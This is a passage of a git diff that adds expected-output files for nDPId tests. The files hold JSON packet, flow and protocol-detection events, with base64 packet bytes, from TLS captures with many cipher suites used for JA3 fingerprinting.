jIQBfdfvytF2PniPCskclZXrLgsDC4r0hI53ROCdv4P1SZUaFs3carINdEGB1bHf8sdFbtL9NWvyl+LVW75HzWLA=="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":7,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +01316{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":910003,"pkt_caplen":734,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":734,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAAsjoBkAAPQZ4ggrOQfkKzoMSAbvlIcEFt7XOLtklUBgAf3btAAArP3r0rVe0Aym6JLwpOw\/ARwhTpY9aS7jceyqxacIXzRspfll0u1\/NkXDZNHalNI0jifA02VmOaSzhsGzJ03fuqKyyLCUPurWOZCj\/m+yOkMFwArOo4uIOxsENzfQIgKhMCW3YH1KAEc\/D52lgcc5dEHoPQCigIQjo2dWhtfY\/oG4sKNF1rHdnRmXJwxczAAECAQCB0DPstOMfM5F8X5MwgsDlsx2xgwVyLIjRqp9YCi1KiPDkTsRRNZ9DD6t\/ryiWXZAQh9BkHB6TFnEabzzd3ZV133DGDkbN8ivrZ\/z57itpt2v72s73UcOj834+OvBHQFis\/1RjFZ7mfCgZRE7PIBkRRL\/Gn9PLQP0KlGyVBXaYBJTPMozKF3QO3V\/4LEH3gpTFO8WY5zmgwf\/CrWjV7llloR3tiNBaPGJTsW2xi2J6BP1sZieM89wnWuVbN6GqAOFNenvYif3wSlXllxAZenbfAoFQylIORWBw38yjKf3qIiHxBJU4ZxexUo\/O3\/t3hKHDSjcp4a7NNUxFPMsCxeC4AgEBAC3kckI79wHr9Jdk4qPrAuTCIIeE\/qBxvLET0Ua\/Ah37Jo0oIdRWbuCV7ge6meATSbHe7FqMhYpMG23Q4uSTupEwX5lZxUqx\/xIwzx\/AfDOL16722QUiKA21ChDMHjmqP5t7YWazRTsOuyLB6n0u9314zm7LNLRLxx5EGml4HiX5zxmVQR\/KEVEeOD+pMCY0IxlT35RaHC0aLunpBP\/ttxpaC85IzJ+shFeD9zYmMngnHXqhjgcuDFtGQMpQpLUFpMeo2O0rVIMdLlN1ZFuVyYVT661Vjz7ZgC7FvbaJEi5940Vlycu+kXQRVfxPb6IwVbYoX8euxN9GS2WsUJxqmpEWAwMABA4AAAA="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":8,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00407{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":937133,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACjDTEAAPwad3ArOgxIKzkH55SEBu84u2SXBBbIBUBAfXrSWAAAAAAAAAAA="} +00175{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":9,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":938365,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAAABAAd9VAeAgQAAXYEAAQIIAEUAACjoB0AAPQZ7IQrOQfkKzoMSAbvlIcEFulXOLtksUBAAf8saAAAAAAAAAAA="} +00176{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":10,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} +00408{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1557818846,"pkt_ts_usec":965822,"pkt_caplen":68,"pkt_type":33024,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAAAAAABsKp3tUhAgQAAXYEAAQIIAEUAACifbEAAPwbBvArOgxIKzkH55SEBu84u2SwAAAAAUAQAAEcBAAAAAAAAAAA="} +00176{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites.pcap","alias":"nDPId-test","type":33024} diff --git a/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out b/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out new file mode 100644 index 000000000..19b61b762 --- /dev/null +++ b/test/results/ja3_lots_of_cipher_suites_2_anon.pcap.out @@ -0,0 +1,43 @@ +00477{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724520,"pkt_ts_usec":744830,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABkI90AAEARjIOEvvQMl3m5LAhoCGgAUAAAMv8AQAE8W3RuUAAARQAAPGNKQABABin+wKiTsZd5waDkgAG7Qsba5QAAAACgAjkIo+MAAAIEBbQEAggKAAu5rwAAAAABAwMF"} +00213{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":114,"len":118} +00500{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1505724520744,"flow_last_seen":0,"flow_tot_l4_data_len":80,"flow_min_l4_data_len":80,"flow_max_l4_data_len":80,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"132.190.244.12","dst_ip":"151.121.185.44","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00515{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724520,"pkt_ts_usec":744830,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":80,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABkI90AAEARjIOEvvQMl3m5LAhoCGgAUAAAMv8AQAE8W3RuUAAARQAAPGNKQABABin+wKiTsZd5waDkgAG7Qsba5QAAAACgAjkIo+MAAAIEBbQEAggKAAu5rwAAAAABAwMF"} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1505724520744,"flow_last_seen":0,"flow_tot_l4_data_len":80,"flow_min_l4_data_len":80,"flow_max_l4_data_len":80,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"132.190.244.12","dst_ip":"151.121.185.44","src_port":2152,"dst_port":2152,"l4_proto":"udp","ndpi": {"proto":"GTP","breed":"Acceptable","category":"Network"}} +00511{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724520,"pkt_ts_usec":947456,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"MNF+EIYg\/Ejv6KgaCABFAABgHZ4AAD0Rln6XebkshL70DAhoCGgATAAAMP8APEGxP1xFAAA8AABAADIGm0iXecGgwKiTsQG75IBV2gFiQsba5qAScSDmyQAAAgQFeAQCCAoxbvx\/AAu5rwEDAwc="} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":281457,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcNCoAAEARfD6EvvQMl3m5LAhoCGgASAAAMv8AOAE8W3RxUAAARQAANGNLQABABioFwKiTsZd5waDkgAG7Qsba5lXaAWOAEAHJhFMAAAEBCAoAC7oNMW78fw=="} +00213{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":106,"len":110} +00507{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":281457,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcNCoAAEARfD6EvvQMl3m5LAhoCGgASAAAMv8AOAE8W3RxUAAARQAANGNLQABABioFwKiTsZd5waDkgAG7Qsba5lXaAWOAEAHJhFMAAAEBCAoAC7oNMW78fw=="} +01015{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":624823,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":517,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAHzPsUAAEARcAyEvvQMl3m5LAhoCGgB3wAAMv8BzwE8W3RzUAAARQABy2NMQABABihtwKiTsZd5waDkgAG7Qsba5lXaAWOAGAHJpLIAAAEBCAoAC7oOMW78fxYDAQGSAQABjgMDWb+IaLIesQWIv6YFz4XWzGx5xL0th24F2at6CJidHk8AAQbALMAwAJ\/ArcCfwCTAKABrwArAFAA5wK\/Ao8CHwIvAfcBzwHcAxACIwCvALwCewKzAnsAjwCcAZ8AJwBMAM8CuwKLAhsCKwHzAcsB2AL4ARcAIwBIAFgCrwKfAOACzwDYAkcCRwJvAl8CrAKrApsA3ALLANQCQwJDAlsCawKrANACPAJ3AnQA9ADXAMsAqwA\/ALsAmwAXAocB7AMAAhMCNwHnAicB1AJzAnAA8AC\/AMcApwA7ALcAlwATAoMB6ALoAQcCMwHjAiMB0AArADcADAK0AtwCVwJPAmQCsALYAlMCSwJgAkwCpwKUArwCNwI\/AlcCpAKjApACuAIzAjsCUwKgAiwD\/AQAAXwAAABMAEQAADjE5Mi42OS4xMzYuMTc5AA0AFgAUBgMGAQUDBQEEAwQBAwMDAQIDAgEACgAYABYAGQAcABgAGwAXABYAGgAVABQAEwASAAsAAgEAABYAAAAXAAAAIwAA"} +00213{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":513,"len":517} +01054{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":624823,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":517,"pkt_l4_len":479,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAHzPsUAAEARcAyEvvQMl3m5LAhoCGgB3wAAMv8BzwE8W3RzUAAARQABy2NMQABABihtwKiTsZd5waDkgAG7Qsba5lXaAWOAGAHJpLIAAAEBCAoAC7oOMW78fxYDAQGSAQABjgMDWb+IaLIesQWIv6YFz4XWzGx5xL0th24F2at6CJidHk8AAQbALMAwAJ\/ArcCfwCTAKABrwArAFAA5wK\/Ao8CHwIvAfcBzwHcAxACIwCvALwCewKzAnsAjwCcAZ8AJwBMAM8CuwKLAhsCKwHzAcsB2AL4ARcAIwBIAFgCrwKfAOACzwDYAkcCRwJvAl8CrAKrApsA3ALLANQCQwJDAlsCawKrANACPAJ3AnQA9ADXAMsAqwA\/ALsAmwAXAocB7AMAAhMCNwHnAicB1AJzAnAA8AC\/AMcApwA7ALcAlwATAoMB6ALoAQcCMwHjAiMB0AArADcADAK0AtwCVwJPAmQCsALYAlMCSwJgAkwCpwKUArwCNwI\/AlcCpAKjApACuAIzAjsCUwKgAiwD\/AQAAXwAAABMAEQAADjE5Mi42OS4xMzYuMTc5AA0AFgAUBgMGAQUDBQEEAwQBAwMDAQIDAgEACgAYABYAGQAcABgAGwAXABYAGgAVABQAEwASAAsAAgEAABYAAAAXAAAAIwAA"} +00501{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":827076,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"MNF+EIYg\/Ejv6KgaCABFAABYPdsAAD0RdkmXebkshL70DAhoCGgARAAAMP8ANEGxP1xFAAA0\/\/RAADIGm1uXecGgwKiTsQG75IBV2gFjQsbcfYAQAOuAKQAAAQEICjFu\/+8AC7oO"} +02377{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":827769,"pkt_caplen":1490,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1490,"pkt_l4_len":1456,"pkt":"MNF+EIYg\/Ejv6KgaCABFAAXEPegAAD0RcNCXebkshL70DAhoCGgFsAAAMP8FoEGxP1xFAAWg\/\/VAADIGle6XecGgwKiTsQG75IBV2gFjQsbcfYAQAOuzBgAAAQEICjFu\/+8AC7oOFgMDADUCAAAxAwNZv4IzEPG59Sc8ViQ5epGgkgXAVwx2IPXXGXvSBa32UgAAnQAACf8BAAEAACMAABYDAwXoCwAF5AAF4QAF3jCCBdowggPCAgkA1SvVTKv6EBAwDQYJKoZIhvcNAQEFBQAwga4xCzAJBgNVBAYTAkRFMQ8wDQYDVQQIDAZNdW5pY2gxETAPBgNVBAcMCEdyZW5vYmxlMSUwIwYDVQQKDBxNdW5uaWNjYW4gRXN0YWJsaXNobWVudCBHbUJIMRswGQYDVQQLDBJNdW5uaWNhbiBXb3JrZm9yY2UxFTATBgNVBAMMDG11bm5pY2Nhbi5kZTEgMB4GCSqGSIb3DQEJARYRaW5mb0BtdW5uaWNjYW4uZGUwHhcNMTYxMjIxMTkxOTI0WhcNMTkwOTE2MTkxOTI0WjCBrjELMAkGA1UEBhMCREUxDzANBgNVBAgMBk11bmljaDERMA8GA1UEBwwIR3Jlbm9ibGUxJTAjBgNVBAoMHE11bm5pY2NhbiBFc3RhYmxpc2htZW50IEdtQkgxGzAZBgNVBAsMEk11bm5pY2FuIFdvcmtmb3JjZTEVMBMGA1UEAwwMbXVubmljY2FuLmRlMSAwHgYJKoZIhvcNAQkBFhFpbmZvQG11bm5pY2Nhbi5kZTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMKzfrDBg91Q2iU1\/65O+F0iYSYmVWfxyLQLgK1rRhZ\/QpIhW43eQVpuem02IBIMdKJHNJ+htvtx3Ej1\/TjlBokdGN1EWMncmMpLc5UI3dKFtA9vUJsUmZP3DxrzDH7Vr3nbIx8acvz8raZGJBsoz32blbgRNwA+uLK8XCY1MKUv79S5jXQHHAVHLBjfM1+lqHhyTTBT0qZFH2DjV3InzIXp7znlNjfZeZ3+TG1X61XJ8y6EQV8e1dvYHTr91mtURp5M8\/XJF8LXzp4pESDvTUW4x3dovSALiv3dyGGnesHhBWZHNByX5Y5xNS37VtfYzwAZ6q7kNDHk\/Bvpd9EffbRsdw0BnOKTsRPJRuGueiCsLKvL+q\/L\/EV1EGqy6dqsMkZ+uxYAFVkPU0aIyou2f+QDg11xwaudbuJWgg7TB7zZIz5P31BE2njRzitZ0l3ckz\/Zhns8JP5j2+R2cgI7L6FRcFnKRkeNPz9uYXHW4kgaHscyzw4FLyG0ilHq5l4KSnN\/\/dgvAkUqXCr+gkmLifae1kVSAXvUJiUSNefT6RlmWOOKek+QF93MY2fiFDLcxW1IJ8yJemJzIvn20c+VN2DHZxx2ISOUh3uU92QjdgjFYcovIwetZNFBkrxV8lgd2MEcHNEcReblfdOPBGFaBFHFQupf57Au49FPjQjbqzznAgMBAAEwDQYJKoZIhvcNAQEFBQADggIBAEoAHxXZxu+oQnR4NAVCRnvnvWMocJpPE9+xx6+8XjFbndW6pv\/Ts2+8Agq\/CnswKHjXEIpmKPJagkxYOGPtrCY0lwx74PO6ZLLUI6WVodHKC6fcZzEqLFSuhVdm5dhyZ\/pJVZj36Wk\/vG6bQdPzN7ZlpGHZ2IXP2DUhMQ7xtsP8RO6hkNC51wc09AUAOWfeIhn8UT+kX4OfSjZaenrSdPbYUx3sUax0Xk1MFQLqzO7J98XafXOPJDGeMRmFbuvcwcGg4te9HSQ6PSX\/r9STCA\/OFpACicpmDGAh3uaeXGTn2srP\/oY5\/crDKmawYKS+RXvdClytALXuOBT3cllfKDtLWMvbcnw1kKJFf5EPuBd4SlRpHx9ROPvaOGtHT+\/Fxa8PWW9At+dYVlleWz3KK+Ad28MW0K5RYMAx1Al7A4X\/simkr28="} +00769{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724521,"pkt_ts_usec":827987,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"MNF+EIYg\/Ejv6KgaCABFAAEcPesAAD0RdXWXebkshL70DAhoCGgBCAAAMP8A+EGxP1xFAAD4\/\/ZAADIGmpWXecGgwKiTsQG75IBV2gbPQsbcfYAYAOugjwAAAQEICjFu\/+8AC7oOYSUZyl25o1vLU3AOcWfj6UUC2BU59xTfZshuq+pGA1KDa6DRNgUtzcJGQuYvfAJBznkRFz32xRHfN3R9R4ynZv4cFNzO0gAy7vqrj3EjAHX\/Ue2ZIryEVQoHxrB6qQmG0iFQetOTJdIU1nr4LCGoxTAch2BjR1H\/eoquppYSIac67bEEW2WQit6MfVSWguW1cFHYe6na5ATU6sL6PW5nYfJOzZX62ob7j3DOBa7YZlDNbhqQ\/KXSWIo0ShYDAwAEDgAAAA=="} +00768{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724522,"pkt_ts_usec":900342,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":298,"pkt_l4_len":264,"pkt":"MNF+EIYg\/Ejv6KgaCABFAAEcbqYAAD0RRLqXebkshL70DAhoCGgBCAAAMP8A+EGxP1xFAAD4\/\/dAADIGmpSXecGgwKiTsQG75IBV2gbPQsbcfYAYAOucXgAAAQEICjFvBCAAC7oOYSUZyl25o1vLU3AOcWfj6UUC2BU59xTfZshuq+pGA1KDa6DRNgUtzcJGQuYvfAJBznkRFz32xRHfN3R9R4ynZv4cFNzO0gAy7vqrj3EjAHX\/Ue2ZIryEVQoHxrB6qQmG0iFQetOTJdIU1nr4LCGoxTAch2BjR1H\/eoquppYSIac67bEEW2WQit6MfVSWguW1cFHYe6na5ATU6sL6PW5nYfJOzZX62ob7j3DOBa7YZlDNbhqQ\/KXSWIo0ShYDAwAEDgAAAA=="} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":243945,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABccWEAAEARPweEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R4UAAARQAANGNNQABABioDwKiTsZd5waDkgAG7QsbcfVXaBs+AEAIjeMYAAAEBCAoAC7rNMW7\/7w=="} +00213{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":106,"len":110} +00508{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":243945,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABccWEAAEARPweEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R4UAAARQAANGNNQABABioDwKiTsZd5waDkgAG7QsbcfVXaBs+AEAIjeMYAAAEBCAoAC7rNMW7\/7w=="} +00471{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":425476,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcdugAAEAROYCEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R5UAAARQAANGNOQABABioCwKiTsZd5waDkgAG7QsbcfVXaB5OAEAIjeAIAAAEBCAoAC7rNMW7\/7w=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":106,"len":110} +00510{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":425476,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":72,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABcdugAAEAROYCEvvQMl3m5LAhoCGgASAAAMv8AOAE8W3R5UAAARQAANGNOQABABioCwKiTsZd5waDkgAG7QsbcfVXaB5OAEAIjeAIAAAEBCAoAC7rNMW7\/7w=="} +00486{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":784944,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABogi4AAEARLi6EvvQMl3m5LAhoCGgAVAAAMv8ARAE8W3R6UAAARQAAQGNPQABABin1wKiTsZd5waDkgAG7QsbcfVXaB5OwEAIjg6MAAAEBCAoAC7rNMW8EIAEBBQpV2gbPVdoHkw=="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":118,"len":122} +00525{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724523,"pkt_ts_usec":784944,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":122,"pkt_l4_len":84,"pkt":"\/Ejvopo\/MNF+D2w+CABFuABogi4AAEARLi6EvvQMl3m5LAhoCGgAVAAAMv8ARAE8W3R6UAAARQAAQGNPQABABin1wKiTsZd5waDkgAG7QsbcfVXaB5OwEAIjg6MAAAEBCAoAC7rNMW8EIAEBBQpV2gbPVdoHkw=="} +01174{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":364548,"pkt_caplen":629,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":633,"pkt_l4_len":0,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAJnsccAAEAR\/JWEvvQMl3m5LAhoCGgCUwAAMv8CQwE8W3R7UAAARQACP2NQQABABif1wKiTsZd5waDkgAG7QsbcfVXaB5OAGAIjv8IAAAEBCAoAC7rRMW8EIBYDAwIGEAACAgIAmOi+GN3N8UwFIOyGgG7fRoYqddIen6fJLfOoMdGcgjC7EXRuMLo4ueRPzuPNKTKsd0rXjIh8nF1luCtj74M6hLMrC8RgUQ8NtWnU+VyJ5ocLdxtzZF0gGB+1NhUGr48PAz8CyV8iWtZ4r5z1HdzPAjUZcbzNDe0GFdLkO0mrmT1V\/fADZpMXfOis2u6uwZpitz8p9IosL8QiH6+IqUMckXifdvysezYp9tH9I18YsH7HyCm46xkjwyg7bNLoY89xVSe+3KoGnCgNymiAS0DFirvRnfEhZ55M6aVqDHyopcrpE\/p7Ra+JZESNmMF2sYfinmGSLWypwRK8tqaU\/ff99MtBg4KsFRNdp7dUOalIiR2j+\/gLC7fy\/B8rinO1aEkQfPwupPH+TOkI6kU7p6ZpEMlgYUAeUCVVdw2kpGnwan1lhC7pX4eYGUKHCcYnb9WwWjN9kb1rdtJu6KJWHsmxhkqn+5IJXszwezV7EVVZplgJPkRBwWsUatOWpjd9GuEZrUofu+2zRAWb37O45WXULSMfnimMKJd4Xwqcyx7tqMpzzTK7dWYdIkVZW9y5jVbcfrEnX0PFjjBobFRt6z81tve44yNzWQLg\/BhIGmKgyP4ZWrM3REf0v0GIj8wfwr+jHsMczvQifNTnUyyug\/Xc6cQyMh8qaav4EhHbL4l4yFg="} +00214{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","caplen":629,"len":633} +01214{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"ja3_lots_of_cipher_suites_2_anon.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1505724525,"pkt_ts_usec":364548,"pkt_caplen":629,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":633,"pkt_l4_len":595,"pkt":"\/Ejvopo\/MNF+D2w+CABFuAJnsccAAEAR\/JWEvvQMl3m5LAhoCGgCUwAAMv8CQwE8W3R7UAAARQACP2NQQABABif1wKiTsZd5waDkgAG7QsbcfVXaB5OAGAIjv8IAAAEBCAoAC7rRMW8EIBYDAwIGEAACAgIAmOi+GN3N8UwFIOyGgG7fRoYqddIen6fJLfOoMdGcgjC7EXRuMLo4ueRPzuPNKTKsd0rXjIh8nF1luCtj74M6hLMrC8RgUQ8NtWnU+VyJ5ocLdxtzZF0gGB+1NhUGr48PAz8CyV8iWtZ4r5z1HdzPAjUZcbzNDe0GFdLkO0mrmT1V\/fADZpMXfOis2u6uwZpitz8p9IosL8QiH6+IqUMckXifdvysezYp9tH9I18YsH7HyCm46xkjwyg7bNLoY89xVSe+3KoGnCgNymiAS0DFirvRnfEhZ55M6aVqDHyopcrpE\/p7Ra+JZESNmMF2sYfinmGSLWypwRK8tqaU\/ff99MtBg4KsFRNdp7dUOalIiR2j+\/gLC7fy\/B8rinO1aEkQfPwupPH+TOkI6kU7p6ZpEMlgYUAeUCVVdw2kpGnwan1lhC7pX4eYGUKHCcYnb9WwWjN